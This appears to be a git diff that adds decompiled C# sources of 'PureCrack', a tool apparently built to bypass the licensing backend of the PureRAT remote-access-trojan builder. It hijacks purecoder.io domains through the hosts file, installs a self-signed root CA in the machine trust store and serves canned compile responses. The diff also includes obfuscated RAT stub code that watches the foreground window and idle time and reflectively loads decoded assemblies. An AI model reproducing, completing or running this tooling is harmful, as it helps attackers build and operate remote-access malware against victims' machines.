subjectAlternativeNameBuilder.AddDnsName("*.purecoder.io"); + certificateRequest.CertificateExtensions.Add(subjectAlternativeNameBuilder.Build()); + certificateRequest.CertificateExtensions.Add(new X509BasicConstraintsExtension(certificateAuthority: true, hasPathLengthConstraint: false, 0, critical: true)); + certificateRequest.CertificateExtensions.Add(new X509KeyUsageExtension(X509KeyUsageFlags.KeyCertSign | X509KeyUsageFlags.KeyEncipherment | X509KeyUsageFlags.DigitalSignature, critical: true)); + byte[] array = certificateRequest.CreateSelfSigned(DateTimeOffset.UtcNow.AddDays(-1.0), DateTimeOffset.UtcNow.Add(ValidityWindow)).Export(X509ContentType.Pfx, ""); + File.WriteAllBytes(RelayPfxPath, array); + Log.Ok($"relay cert: written to {RelayPfxPath} ({array.Length:N0}b)"); + X509Certificate2 x509Certificate2 = new X509Certificate2(array, "", X509KeyStorageFlags.MachineKeySet | X509KeyStorageFlags.PersistKeySet); + InstallToRoot(x509Certificate2); + return x509Certificate2; + } + + public static byte[] EnsureAgentCertPfxBytes() + { + if (File.Exists(AgentPfxPath)) + { + try + { + X509Certificate2 x509Certificate = new X509Certificate2(AgentPfxPath, ""); + if (x509Certificate.NotAfter > DateTime.UtcNow.Add(RegenIfWithin)) + { + Log.Info($"agent cert: reusing existing (expires {x509Certificate.NotAfter:yyyy-MM-dd})"); + return File.ReadAllBytes(AgentPfxPath); + } + TimeSpan regenIfWithin = RegenIfWithin; + Log.Warn($"agent cert: expires within {regenIfWithin.TotalDays:0} days, regenerating"); + } + catch (Exception ex) + { + Log.Warn("agent cert: existing PFX unreadable, regenerating (" + ex.Message + ")"); + } + } + Log.Info("agent cert: generating self-signed PureRAT Agent cert"); + using RSA key = RSA.Create(2048); + using X509Certificate2 x509Certificate2 = new CertificateRequest("CN=PureRAT Agent", key, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1).CreateSelfSigned(DateTimeOffset.UtcNow.AddDays(-1.0), DateTimeOffset.UtcNow.Add(ValidityWindow)); + byte[] array = x509Certificate2.Export(X509ContentType.Pfx, ""); + File.WriteAllBytes(AgentPfxPath, array); + Log.Ok($"agent cert: written to {AgentPfxPath} ({array.Length:N0}b)"); + return array; + } + + public static void Wipe() + { + string[] array = new string[2] { RelayPfxPath, AgentPfxPath }; + foreach (string text in array) + { + if (File.Exists(text)) + { + File.Delete(text); + Log.Bullet("cert: removed " + text); + } + } + } + + private static X509Certificate2? LoadIfFresh(string pfxPath, string label) + { + if (!File.Exists(pfxPath)) + { + return null; + } + try + { + X509Certificate2 x509Certificate = new X509Certificate2(pfxPath, "", X509KeyStorageFlags.MachineKeySet | X509KeyStorageFlags.PersistKeySet); + if (x509Certificate.NotAfter > DateTime.UtcNow.Add(RegenIfWithin)) + { + Log.Info($"{label}: reusing existing (expires {x509Certificate.NotAfter:yyyy-MM-dd}, " + "thumbprint " + x509Certificate.Thumbprint.Substring(0, 12) + "…)"); + return x509Certificate; + } + TimeSpan regenIfWithin = RegenIfWithin; + Log.Warn($"{label}: expires within {regenIfWithin.TotalDays:0} days, regenerating"); + return null; + } + catch (Exception ex) + { + Log.Warn(label + ": existing PFX unreadable, regenerating (" + ex.Message + ")"); + return null; + } + } + + private static void InstallToRoot(X509Certificate2 cert) + { + try + { + using X509Store x509Store = new X509Store(StoreName.Root, StoreLocation.LocalMachine); + x509Store.Open(OpenFlags.ReadWrite); + X509Certificate2Enumerator enumerator = x509Store.Certificates.Find(X509FindType.FindBySubjectDistinguishedName, cert.SubjectName.Name, validOnly: false).GetEnumerator(); + while (enumerator.MoveNext()) + { + X509Certificate2 current = enumerator.Current; + if (!(current.Thumbprint == cert.Thumbprint) && current.NotAfter < DateTime.UtcNow.AddYears(1)) + { + x509Store.Remove(current); + Log.Bullet("relay cert: pruned stale Root entry (thumbprint " + current.Thumbprint.Substring(0, 12) + "…)"); + } + } + x509Store.Add(cert); + x509Store.Close(); + Log.Ok("relay cert: installed in LocalMachine\\Root (thumbprint " + cert.Thumbprint.Substring(0, 12) + "…)"); + } + catch (Exception ex) + { + Log.Err("relay cert: failed to install to Root store: " + ex.Message); + throw; + } + } +} diff --git a/decompiled/PureCrack.Setup/HostsManager.cs b/decompiled/PureCrack.Setup/HostsManager.cs new file mode 100644 index 0000000..60045ea --- /dev/null +++ b/decompiled/PureCrack.Setup/HostsManager.cs @@ -0,0 +1,182 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using PureCrack.Util; + +namespace PureCrack.Setup; + +public static class HostsManager +{ + private const string HostsPath = "C:\\Windows\\System32\\drivers\\etc\\hosts"; + + private const string BackupSuffix = ".purecrack-backup"; + + public static readonly string[] Domains = new string[3] { "api.purecoder.io", "api1.purecoder.io", "api2.purecoder.io" }; + + public static string Path => "C:\\Windows\\System32\\drivers\\etc\\hosts"; + + public static string BackupPath => "C:\\Windows\\System32\\drivers\\etc\\hosts.purecrack-backup"; + + public static bool Ensure() + { + if (!File.Exists("C:\\Windows\\System32\\drivers\\etc\\hosts")) + { + throw new FileNotFoundException("C:\\Windows\\System32\\drivers\\etc\\hosts missing — Windows install looks broken"); + } + string content = File.ReadAllText("C:\\Windows\\System32\\drivers\\etc\\hosts"); + HashSet present = ScanPresent(content); + List list = Domains.Where((string d) => !present.Contains(d)).ToList(); + if (list.Count == 0) + { + Log.Info($"hosts: all {Domains.Length} entries already present"); + return false; + } + if (!File.Exists(BackupPath)) + { + File.Copy("C:\\Windows\\System32\\drivers\\etc\\hosts", BackupPath); + Log.Bullet("hosts: backup saved to " + BackupPath); + } + string text = EnsureTrailingNewline(content); + foreach (string item in list) + { + text = text + "127.0.0.1 " + item + "\n"; + Log.Bullet("hosts: add 127.0.0.1 " + item); + } + File.WriteAllText("C:\\Windows\\System32\\drivers\\etc\\hosts", text); + FlushDns(); + return true; + } + + public static void Remove() + { + if (!File.Exists("C:\\Windows\\System32\\drivers\\etc\\hosts")) + { + return; + } + string[] array = File.ReadAllLines("C:\\Windows\\System32\\drivers\\etc\\hosts"); + List list = new List(array.Length); + int num = 0; + string[] array2 = array; + foreach (string text in array2) + { + string trimmed = text.Trim(); + if (trimmed.StartsWith("#") || trimmed.Length == 0) + { + list.Add(text); + } + else if (Domains.Any((string d) => LineMapsDomainToLoopback(trimmed, d))) + { + num++; + } + else + { + list.Add(text); + } + } + if (num > 0) + { + File.WriteAllText("C:\\Windows\\System32\\drivers\\etc\\hosts", string.Join("\n", list)); + Log.Ok($"hosts: removed {num} entries"); + FlushDns(); + } + } + + public static bool IsWritable() + { + try + { + using (File.Open("C:\\Windows\\System32\\drivers\\etc\\hosts", FileMode.Open, FileAccess.ReadWrite, FileShare.ReadWrite)) + { + return true; + } + } + catch (UnauthorizedAccessException) + { + return false; + } + catch (IOException) + { + return false; + } + } + + private static HashSet ScanPresent(string content) + { + HashSet hashSet = new HashSet(StringComparer.OrdinalIgnoreCase); + string[] array = content.Split(new char[1] { '\n' }); + for (int i = 0; i < array.Length; i++) + { + string text = array[i].Trim(); + if (text.Length == 0 || text.StartsWith("#")) + { + continue; + } + string[] domains = Domains; + foreach (string text2 in domains) + { + if (LineMapsDomainToLoopback(text, text2)) + { + hashSet.Add(text2); + } + } + } + return hashSet; + } + + private static bool LineMapsDomainToLoopback(string line, string domain) + { + string[] array = line.Split(new char[2] { ' ', '\t' }, StringSplitOptions.RemoveEmptyEntries); + if (array.Length < 2) + { + return false; + } + if (!array[0].StartsWith("127.")) + { + return false; + } + for (int i = 1; i < array.Length; i++) + { + string text = array[i]; + if (text.StartsWith("#")) + { + break; + } + if (string.Equals(text, domain, StringComparison.OrdinalIgnoreCase)) + { + return true; + } + } + return false; + } + + private static string EnsureTrailingNewline(string content) + { + if (content.Length != 0 && content[content.Length - 1] != '\n') + { + return content + "\n"; + } + return content; + } + + private static void FlushDns() + { + try + { + using Process process = Process.Start(new ProcessStartInfo("ipconfig", "/flushdns") + { + UseShellExecute = false, + CreateNoWindow = true, + RedirectStandardOutput = true, + RedirectStandardError = true + }); + process?.WaitForExit(5000); + Log.Bullet("hosts: dns cache flushed"); + } + catch (Exception ex) + { + Log.Warn("ipconfig /flushdns failed (non-fatal): " + ex.Message); + } + } +} diff --git a/decompiled/PureCrack.Util/EmbeddedAssets.cs b/decompiled/PureCrack.Util/EmbeddedAssets.cs new file mode 100644 index 0000000..4360f12 --- /dev/null +++ b/decompiled/PureCrack.Util/EmbeddedAssets.cs @@ -0,0 +1,73 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Reflection; +using System.Text; + +namespace PureCrack.Util; + +internal static class EmbeddedAssets +{ + private static readonly Assembly Asm = typeof(EmbeddedAssets).Assembly; + + private const string Prefix = "PureCrack.assets."; + + private static Dictionary? _innerSources; + + private static string? _loader; + + private static byte[]? _pbNet; + + private static byte[]? _canned; + + public static IReadOnlyDictionary InnerSources + { + get + { + if (_innerSources != null) + { + return _innerSources; + } + Dictionary dictionary = new Dictionary(StringComparer.OrdinalIgnoreCase); + string[] manifestResourceNames = Asm.GetManifestResourceNames(); + foreach (string text in manifestResourceNames) + { + if (text.StartsWith("PureCrack.assets.inner.", StringComparison.Ordinal) && text.EndsWith(".cs", StringComparison.Ordinal)) + { + string key = text.Substring("PureCrack.assets.".Length + "inner.".Length); + dictionary[key] = ReadString(text); + } + } + return _innerSources = dictionary; + } + } + + public static string LoaderTemplate => _loader ?? (_loader = ReadString("PureCrack.assets.inner.Loader.tmpl")); + + public static byte[] ProtobufNetDll => _pbNet ?? (_pbNet = ReadBytes("PureCrack.assets.inner.protobuf-net.dll")); + + public static byte[] CannedCompileResponse => _canned ?? (_canned = ReadBytes("PureCrack.assets.compile_response.bin")); + + private static string ReadString(string resName) + { + using Stream stream = Asm.GetManifestResourceStream(resName) ?? throw new FileNotFoundException("missing embedded resource: " + resName); + using StreamReader streamReader = new StreamReader(stream, Encoding.UTF8); + return streamReader.ReadToEnd(); + } + + private static byte[] ReadBytes(string resName) + { + using Stream stream = Asm.GetManifestResourceStream(resName) ?? throw new FileNotFoundException("missing embedded resource: " + resName); + using MemoryStream memoryStream = new MemoryStream(); + stream.CopyTo(memoryStream); + return memoryStream.ToArray(); + } + + public static IEnumerable AllResources() + { + return from n in Asm.GetManifestResourceNames() + orderby n + select n; + } +} diff --git a/decompiled/PureCrack.Util/Log.cs b/decompiled/PureCrack.Util/Log.cs new file mode 100644 index 0000000..100e2c0 --- /dev/null +++ b/decompiled/PureCrack.Util/Log.cs @@ -0,0 +1,164 @@ +using System; +using System.Runtime.InteropServices; + +namespace PureCrack.Util; + +internal static class Log +{ + private static readonly object Lock = new object(); + + private static readonly bool UseColor = !Console.IsOutputRedirected && TryEnableVirtualTerminal(); + + private const string Reset = "\u001b[0m"; + + private const string Bold = "\u001b[1m"; + + private const string Red = "\u001b[91m"; + + private const string Green = "\u001b[92m"; + + private const string Yellow = "\u001b[93m"; + + private const string Blue = "\u001b[94m"; + + private const string Gray = "\u001b[90m"; + + private const int STD_OUTPUT_HANDLE = -11; + + private const uint ENABLE_VIRTUAL_TERMINAL_PROCESSING = 4u; + + private static readonly IntPtr InvalidHandleValue = new IntPtr(-1); + + public static void Banner(string text) + { + string text2 = new string('=', text.Length + 4); + lock (Lock) + { + Write("\u001b[1m" + text2 + "\u001b[0m\n"); + Write("\u001b[1m " + text + " \u001b[0m\n"); + Write("\u001b[1m" + text2 + "\u001b[0m\n"); + } + } + + public static void Section(string text) + { + lock (Lock) + { + Write("\n\u001b[1m\u001b[94m:: " + text + "\u001b[0m\n"); + } + } + + public static void Info(string text) + { + Tagged("\u001b[94m", "[*]", text); + } + + public static void Ok(string text) + { + Tagged("\u001b[92m", "[+]", text); + } + + public static void Warn(string text) + { + Tagged("\u001b[93m", "[!]", text); + } + + public static void Err(string text) + { + Tagged("\u001b[91m", "[X]", text); + } + + public static void Debug(string text) + { + Tagged("\u001b[90m", "[.]", text); + } + + public static void Bullet(string text) + { + lock (Lock) + { + Write(" " + text + "\n"); + } + } + + public static void Kv(string key, string value) + { + lock (Lock) + { + Write(" \u001b[90m" + key.PadRight(14) + "\u001b[0m" + value + "\n"); + } + } + + private static void Tagged(string color, string tag, string text) + { + lock (Lock) + { + Write(color + tag + "\u001b[0m " + text + "\n"); + } + } + + private static void Write(string s) + { + if (!UseColor) + { + int num = 0; + while (num < s.Length) + { + if (s[num] == '\u001b' && num + 1 < s.Length && s[num + 1] == '[') + { + int num2 = s.IndexOf('m', num); + if (num2 < 0) + { + break; + } + num = num2 + 1; + } + else + { + Console.Write(s[num]); + num++; + } + } + } + else + { + Console.Write(s); + } + } + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr GetStdHandle(int nStdHandle); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool GetConsoleMode(IntPtr hConsoleHandle, out uint lpMode); + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool SetConsoleMode(IntPtr hConsoleHandle, uint dwMode); + + private static bool TryEnableVirtualTerminal() + { + try + { + IntPtr stdHandle = GetStdHandle(-11); + if (stdHandle == IntPtr.Zero || stdHandle == InvalidHandleValue) + { + return false; + } + if (!GetConsoleMode(stdHandle, out var lpMode)) + { + return false; + } + if ((lpMode & 4) != 0) + { + return true; + } + return SetConsoleMode(stdHandle, lpMode | 4); + } + catch + { + return false; + } + } +} diff --git a/decompiled/PureCrack.Util/Workspace.cs b/decompiled/PureCrack.Util/Workspace.cs new file mode 100644 index 0000000..0f35243 --- /dev/null +++ b/decompiled/PureCrack.Util/Workspace.cs @@ -0,0 +1,43 @@ +using System; +using System.Diagnostics; +using System.IO; +using System.Reflection; + +namespace PureCrack.Util; + +internal static class Workspace +{ + public static string Root { get; } + + public static string DataDir { get; } + + public static string RunsDir { get; } + + public static string CapturesDir { get; } + + public static string StubsDir { get; } + + public static string E2eDir { get; } + + static Workspace() + { + string environmentVariable = Environment.GetEnvironmentVariable("PURECRACK_WORKSPACE"); + if (!string.IsNullOrWhiteSpace(environmentVariable)) + { + Root = environmentVariable; + } + else + { + Root = Path.GetDirectoryName(Assembly.GetEntryAssembly()?.Location ?? Process.GetCurrentProcess().MainModule.FileName) ?? throw new InvalidOperationException("can't resolve EXE directory"); + } + DataDir = Path.Combine(Root, "data"); + RunsDir = Path.Combine(Root, "runs"); + CapturesDir = Path.Combine(RunsDir, "captures"); + StubsDir = Path.Combine(RunsDir, "stubs"); + E2eDir = Path.Combine(RunsDir, "e2e"); + Directory.CreateDirectory(DataDir); + Directory.CreateDirectory(CapturesDir); + Directory.CreateDirectory(StubsDir); + Directory.CreateDirectory(E2eDir); + } +} diff --git a/decompiled/PureCrack.Wire/ProtoNet.cs b/decompiled/PureCrack.Wire/ProtoNet.cs new file mode 100644 index 0000000..f9f6aa5 --- /dev/null +++ b/decompiled/PureCrack.Wire/ProtoNet.cs @@ -0,0 +1,377 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace PureCrack.Wire; + +public static class ProtoNet +{ + private const int MaxDumpDepth = 8; + + public static byte[] WriteVarint(ulong n) + { + Span span = stackalloc byte[10]; + int length = 0; + while (n > 127) + { + span[length++] = (byte)((n & 0x7F) | 0x80); + n >>= 7; + } + span[length++] = (byte)n; + return span.Slice(0, length).ToArray(); + } + + public static byte[] WriteTag(int field, ProtoWire wire) + { + return WriteVarint((ulong)((long)field << 3) | (ulong)wire); + } + + public static byte[] FString(int field, string s) + { + byte[] bytes = Encoding.UTF8.GetBytes(s); + return Concat(WriteTag(field, ProtoWire.Bytes), WriteVarint((ulong)bytes.Length), bytes); + } + + public static byte[] FBytes(int field, byte[] b) + { + return Concat(WriteTag(field, ProtoWire.Bytes), WriteVarint((ulong)b.Length), b); + } + + public static byte[] FInt(int field, long v) + { + return Concat(WriteTag(field, ProtoWire.Varint), WriteVarint((ulong)v)); + } + + public static byte[] FBool(int field, bool v) + { + return Concat(WriteTag(field, ProtoWire.Varint), WriteVarint((ulong)(v ? 1 : 0))); + } + + public static byte[] FSub(int field, byte[] body) + { + return Concat(WriteTag(field, ProtoWire.Bytes), WriteVarint((ulong)body.Length), body); + } + + private static byte[] Concat(params byte[][] chunks) + { + int num = 0; + byte[][] array = chunks; + foreach (byte[] array2 in array) + { + num += array2.Length; + } + byte[] array3 = new byte[num]; + int num2 = 0; + array = chunks; + foreach (byte[] array4 in array) + { + Buffer.BlockCopy(array4, 0, array3, num2, array4.Length); + num2 += array4.Length; + } + return array3; + } + + public static (ulong val, int newOff) ReadVarint(byte[] buf, int off) + { + ulong num = 0uL; + int num2 = 0; + while (off < buf.Length) + { + byte b = buf[off++]; + num |= (ulong)((long)(b & 0x7F) << num2); + if ((b & 0x80) == 0) + { + return (val: num, newOff: off); + } + num2 += 7; + if (num2 >= 64) + { + throw new FormatException("varint exceeds 10 bytes"); + } + } + throw new FormatException("truncated varint"); + } + + public static Dictionary> Parse(byte[] data) + { + Dictionary> dictionary = new Dictionary>(); + int num = 0; + while (num < data.Length) + { + (ulong val, int newOff) tuple = ReadVarint(data, num); + ulong item = tuple.val; + num = tuple.newOff; + int key = (int)(item >> 3); + int num2 = (int)(item & 7); + ProtoValue item2; + switch (num2) + { + case 0: + { + (ulong val, int newOff) tuple2 = ReadVarint(data, num); + ulong item3 = tuple2.val; + num = tuple2.newOff; + item2 = ProtoValue.OfVarint(item3); + break; + } + case 1: + if (num + 8 > data.Length) + { + throw new FormatException("truncated fixed64"); + } + item2 = ProtoValue.OfFixed64(BitConverter.ToUInt64(data, num)); + num += 8; + break; + case 2: + { + ulong num3; + (num3, num) = ReadVarint(data, num); + if (num + (int)num3 > data.Length) + { + throw new FormatException("truncated length-delimited"); + } + byte[] array = new byte[(uint)num3]; + Buffer.BlockCopy(data, num, array, 0, (int)num3); + num += (int)num3; + item2 = ProtoValue.OfBytes(array); + break; + } + case 5: + if (num + 4 > data.Length) + { + throw new FormatException("truncated fixed32"); + } + item2 = ProtoValue.OfFixed32(BitConverter.ToUInt32(data, num)); + num += 4; + break; + default: + throw new FormatException($"unknown wire type {num2} at offset {num}"); + } + if (!dictionary.TryGetValue(key, out var value)) + { + value = (dictionary[key] = new List()); + } + value.Add(item2); + } + return dictionary; + } + + public static List GetStrings(Dictionary> parsed, int field) + { + if (!parsed.TryGetValue(field, out List value)) + { + return new List(); + } + List list = new List(value.Count); + foreach (ProtoValue item in value) + { + if (item.Wire == ProtoWire.Bytes) + { + list.Add(Encoding.UTF8.GetString(item.Bytes)); + } + } + return list; + } + + public static List GetInts(Dictionary> parsed, int field) + { + if (!parsed.TryGetValue(field, out List value)) + { + return new List(); + } + List list = new List(value.Count); + foreach (ProtoValue item in value) + { + if (item.Wire == ProtoWire.Varint) + { + list.Add((long)item.Number); + } + } + return list; + } + + public static string? FirstString(Dictionary> parsed, int field, string? fallback = null) + { + List strings = GetStrings(parsed, field); + if (strings.Count <= 0) + { + return fallback; + } + return strings[0]; + } + + public static byte[]? FirstSub(Dictionary> parsed, int field) + { + if (!parsed.TryGetValue(field, out List value)) + { + return null; + } + foreach (ProtoValue item in value) + { + if (item.Wire == ProtoWire.Bytes) + { + return item.Bytes; + } + } + return null; + } + + public static string Dump(byte[] data) + { + StringBuilder stringBuilder = new StringBuilder(); + DumpInto(data, 0, stringBuilder); + return stringBuilder.ToString(); + } + + private static void DumpInto(byte[] data, int depth, StringBuilder sb) + { + if (depth > 8) + { + sb.Append(Indent(depth)).Append("\n"); + return; + } + Dictionary> source; + try + { + source = Parse(data); + } + catch (Exception ex) + { + sb.Append(Indent(depth)).Append("\n"); + return; + } + foreach (KeyValuePair> item in source.OrderBy((KeyValuePair> p) => p.Key)) + { + foreach (ProtoValue item2 in item.Value) + { + string value = Indent(depth); + switch (item2.Wire) + { + case ProtoWire.Varint: + sb.Append(value).Append('F').Append(item.Key) + .Append(" varint = ") + .Append(item2.Number) + .Append('\n'); + break; + case ProtoWire.Fixed64: + sb.Append(value).Append('F').Append(item.Key) + .Append(" fixed64 = 0x") + .Append(item2.Number.ToString("x16")) + .Append('\n'); + break; + case ProtoWire.Fixed32: + sb.Append(value).Append('F').Append(item.Key) + .Append(" fixed32 = 0x") + .Append(((uint)item2.Number).ToString("x8")) + .Append('\n'); + break; + case ProtoWire.Bytes: + { + string s; + if (item2.Bytes.Length == 0) + { + sb.Append(value).Append('F').Append(item.Key) + .Append(" empty\n"); + } + else if (LooksLikeProto(item2.Bytes)) + { + sb.Append(value).Append('F').Append(item.Key) + .Append(" sub(") + .Append(item2.Bytes.Length) + .Append("):\n"); + DumpInto(item2.Bytes, depth + 1, sb); + } + else if (TryUtf8(item2.Bytes, out s)) + { + sb.Append(value).Append('F').Append(item.Key) + .Append(" str(") + .Append(item2.Bytes.Length) + .Append(") = ") + .Append(EscapeString(s)) + .Append('\n'); + } + else + { + sb.Append(value).Append('F').Append(item.Key) + .Append(" bytes(") + .Append(item2.Bytes.Length) + .Append(") = ") + .Append(HexHead(item2.Bytes, 24)) + .Append('\n'); + } + break; + } + } + } + } + } + + private static string Indent(int depth) + { + return new string(' ', depth * 2); + } + + private static bool TryUtf8(byte[] b, out string s) + { + try + { + s = Encoding.UTF8.GetString(b); + string text = s; + foreach (char c in text) + { + if (c < ' ' && c != '\t' && c != '\n' && c != '\r') + { + s = ""; + return false; + } + } + return true; + } + catch + { + s = ""; + return false; + } + } + + private static bool LooksLikeProto(byte[] b) + { + if (b.Length < 2) + { + return false; + } + try + { + return Parse(b).Count > 0; + } + catch + { + return false; + } + } + + private static string HexHead(byte[] b, int n) + { + StringBuilder stringBuilder = new StringBuilder(n * 3 + 4); + for (int i = 0; i < Math.Min(n, b.Length); i++) + { + stringBuilder.Append(b[i].ToString("x2")).Append(' '); + } + if (b.Length > n) + { + stringBuilder.Append("..."); + } + return stringBuilder.ToString().TrimEnd(Array.Empty()); + } + + private static string EscapeString(string s) + { + if (s.Length > 80) + { + s = s.Substring(0, 80) + "..."; + } + return "\"" + s.Replace("\\", "\\\\").Replace("\"", "\\\"") + "\""; + } +} diff --git a/decompiled/PureCrack.Wire/ProtoValue.cs b/decompiled/PureCrack.Wire/ProtoValue.cs new file mode 100644 index 0000000..f6d848a --- /dev/null +++ b/decompiled/PureCrack.Wire/ProtoValue.cs @@ -0,0 +1,39 @@ +using System; + +namespace PureCrack.Wire; + +public sealed class ProtoValue +{ + public ProtoWire Wire { get; } + + public byte[] Bytes { get; } + + public ulong Number { get; } + + private ProtoValue(ProtoWire wire, byte[] bytes, ulong number) + { + Wire = wire; + Bytes = bytes; + Number = number; + } + + public static ProtoValue OfVarint(ulong v) + { + return new ProtoValue(ProtoWire.Varint, Array.Empty(), v); + } + + public static ProtoValue OfBytes(byte[] b) + { + return new ProtoValue(ProtoWire.Bytes, b, 0uL); + } + + public static ProtoValue OfFixed64(ulong v) + { + return new ProtoValue(ProtoWire.Fixed64, Array.Empty(), v); + } + + public static ProtoValue OfFixed32(uint v) + { + return new ProtoValue(ProtoWire.Fixed32, Array.Empty(), v); + } +} diff --git a/decompiled/PureCrack.Wire/ProtoWire.cs b/decompiled/PureCrack.Wire/ProtoWire.cs new file mode 100644 index 0000000..3723620 --- /dev/null +++ b/decompiled/PureCrack.Wire/ProtoWire.cs @@ -0,0 +1,9 @@ +namespace PureCrack.Wire; + +public enum ProtoWire +{ + Varint = 0, + Fixed64 = 1, + Bytes = 2, + Fixed32 = 5 +} diff --git a/decompiled/PureCrack.assets.compile_response.bin b/decompiled/PureCrack.assets.compile_response.bin new file mode 100644 index 0000000..d6fd331 Binary files /dev/null and b/decompiled/PureCrack.assets.compile_response.bin differ diff --git a/decompiled/PureCrack.assets.inner.Attribute0.cs b/decompiled/PureCrack.assets.inner.Attribute0.cs new file mode 100644 index 0000000..7945632 --- /dev/null +++ b/decompiled/PureCrack.assets.inner.Attribute0.cs @@ -0,0 +1,22 @@ +using System; + +// Token: 0x02000029 RID: 41 +[AttributeUsage(AttributeTargets.Assembly | AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Constructor | AttributeTargets.Method | AttributeTargets.Property | AttributeTargets.Event, AllowMultiple = false, Inherited = false)] +internal sealed class Attribute0 : Attribute +{ + // Token: 0x0600010C RID: 268 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static Attribute0() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x0600010D RID: 269 RVA: 0x000029B8 File Offset: 0x00000BB8 + internal static bool smethod_0() + { + return Attribute0.object_0 == null; + } + + // Token: 0x040000AC RID: 172 + internal static object object_0; +} diff --git a/decompiled/PureCrack.assets.inner.Class0.cs b/decompiled/PureCrack.assets.inner.Class0.cs new file mode 100644 index 0000000..44e1e55 --- /dev/null +++ b/decompiled/PureCrack.assets.inner.Class0.cs @@ -0,0 +1,68 @@ +using System; +using System.Runtime.InteropServices; +using System.Text; + +// Token: 0x02000003 RID: 3 +internal static class Class0 +{ + // Token: 0x06000009 RID: 9 + [DllImport("kernel32.dll", SetLastError = true)] + public static extern Class0.Enum0 SetThreadExecutionState(Class0.Enum0 enum0_0); + + // Token: 0x0600000A RID: 10 + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern IntPtr GetForegroundWindow(); + + // Token: 0x0600000B RID: 11 + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern int GetWindowText(IntPtr intptr_0, StringBuilder stringBuilder_0, int int_0); + + // Token: 0x0600000C RID: 12 + [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern int GetWindowTextLength(IntPtr a); + + // Token: 0x0600000D RID: 13 + [DllImport("user32.dll", SetLastError = true)] + public static extern bool SetProcessDPIAware(); + + // Token: 0x0600000E RID: 14 + [DllImport("user32.dll")] + public static extern bool GetLastInputInfo(ref Class0.Struct0 struct0_0); + + // Token: 0x0600000F RID: 15 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static Class0() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x06000010 RID: 16 RVA: 0x00002319 File Offset: 0x00000519 + internal static bool smethod_0() + { + return Class0.object_0 == null; + } + + // Token: 0x04000003 RID: 3 + private static object object_0; + + // Token: 0x02000004 RID: 4 + public enum Enum0 : uint + { + // Token: 0x04000005 RID: 5 + const_0 = 2147483648U, + // Token: 0x04000006 RID: 6 + const_1 = 2U, + // Token: 0x04000007 RID: 7 + const_2 = 1U + } + + // Token: 0x02000005 RID: 5 + public struct Struct0 + { + // Token: 0x04000008 RID: 8 + public uint uint_0; + + // Token: 0x04000009 RID: 9 + public uint uint_1; + } +} diff --git a/decompiled/PureCrack.assets.inner.Class1.cs b/decompiled/PureCrack.assets.inner.Class1.cs new file mode 100644 index 0000000..412996d --- /dev/null +++ b/decompiled/PureCrack.assets.inner.Class1.cs @@ -0,0 +1,132 @@ +using System; +using System.Linq; +using System.Reflection; +using System.Threading; + +// Token: 0x02000006 RID: 6 +internal static class Class1 +{ + // Token: 0x06000011 RID: 17 RVA: 0x00006C44 File Offset: 0x00004E44 + internal static void smethod_0(GClass10 gclass10_0) + { + try + { + if (Class1.smethod_1(gclass10_0)) + { + if (gclass10_0.Boolean_0) + { + Class1.smethod_2(); + } + else + { + Class1.d(); + } + } + } + catch (Exception ex) + { + Class9.i(ex.Message); + } + } + + // Token: 0x06000012 RID: 18 RVA: 0x00006C8C File Offset: 0x00004E8C + private static bool smethod_1(GClass10 object_3) + { + bool result; + try + { + if (object_3.GClass11_0.Byte_0 == null) + { + if (object_3.GClass11_0.Byte_0 == null) + { + byte[] array = Class7.smethod_0(object_3.GClass11_0.String_0); + if (array == null) + { + Class9.h(object_3); + return false; + } + if (Class1.object_0 == null && Class1.object_1 == null && Class1.fVfbyIimT == null && !object_3.Boolean_0) + { + return false; + } + if (Class1.object_0 != null && Class1.object_1 != null && Class1.fVfbyIimT != null) + { + return true; + } + if (array != null) + { + Class1.smethod_3(array); + return true; + } + } + return false; + } + Class7.smethod_1(object_3.GClass11_0.String_0, object_3.GClass11_0.Byte_0); + Class1.smethod_3(object_3.GClass11_0.Byte_0); + result = true; + } + catch + { + return false; + } + return result; + } + + // Token: 0x06000013 RID: 19 RVA: 0x00002323 File Offset: 0x00000523 + private static void smethod_2() + { + Class1.object_1.Invoke(Class1.object_0, null); + } + + // Token: 0x06000014 RID: 20 RVA: 0x00002336 File Offset: 0x00000536 + private static void d() + { + Class1.fVfbyIimT.Invoke(Class1.object_0, null); + } + + // Token: 0x06000015 RID: 21 RVA: 0x00006D80 File Offset: 0x00004F80 + private static void smethod_3(byte[] object_3) + { + try + { + if (Class1.object_0 != null && Class1.object_1 != null && Class1.fVfbyIimT != null) + { + Class1.d(); + Thread.Sleep(2000); + GC.Collect(); + } + } + catch + { + } + Type type = Assembly.Load(GClass14.smethod_1(object_3.Reverse().ToArray())).GetExportedTypes()[0]; + Class1.object_0 = Activator.CreateInstance(type); + Class1.object_1 = type.GetMethods()[0]; + Class1.fVfbyIimT = type.GetMethods()[1]; + } + + // Token: 0x06000016 RID: 22 RVA: 0x00002308 File Offset: 0x00000508 + // Note: this type is marked as 'beforefieldinit'. + static Class1() + { + Class16.kLjw4iIsCLsZtxc4lksN0j(); + } + + // Token: 0x06000017 RID: 23 RVA: 0x00002349 File Offset: 0x00000549 + internal static bool smethod_4() + { + return Class1.object_2 == null; + } + + // Token: 0x0400000A RID: 10 + private static object object_0; + + // Token: 0x0400000B RID: 11 + private static MethodInfo object_1; + + // Token: 0x0400000C RID: 12 + private static MethodInfo fVfbyIimT; + + // Token: 0x0400000D RID: 13 + private static object object_2; +} 